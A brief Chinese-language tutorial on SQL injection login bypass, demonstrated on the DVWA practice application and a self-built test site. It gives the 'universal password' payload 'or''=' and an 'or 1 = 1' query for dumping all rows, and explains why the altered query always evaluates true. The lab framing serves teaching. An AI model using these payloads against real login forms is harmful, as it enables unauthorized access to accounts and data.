万能密码 'or''='

1 遍历全部数据库内容， 并列出。

select user from users where user id = 1 or 1 = 1;

 

 dvwa测试以下：

 2 实战演示

 

2.1在咱们搭建的网站中，输入用户名admin' 发现能够被带到后台数据库中执行，并产生如下报错信息

 

• 'user_id='admin'' And password='122223''将其修改成一条符合数据库逻辑的执行语句 
• 'user_id='随意写' And password=''or''=''    #这条语句表示不管前面的正确与否，后面的''=''永远为真

  在用户名中随意填写，密码输入 'or''=' 就实现了后台的登陆。咱们构造了一个特殊的参数，是原有的查询帐号的逻辑发生错误，绕过认证登陆系统。至关于构造了这样一条SQL语句：

select user,password from user where user_id = '随意写' and password=''or''=''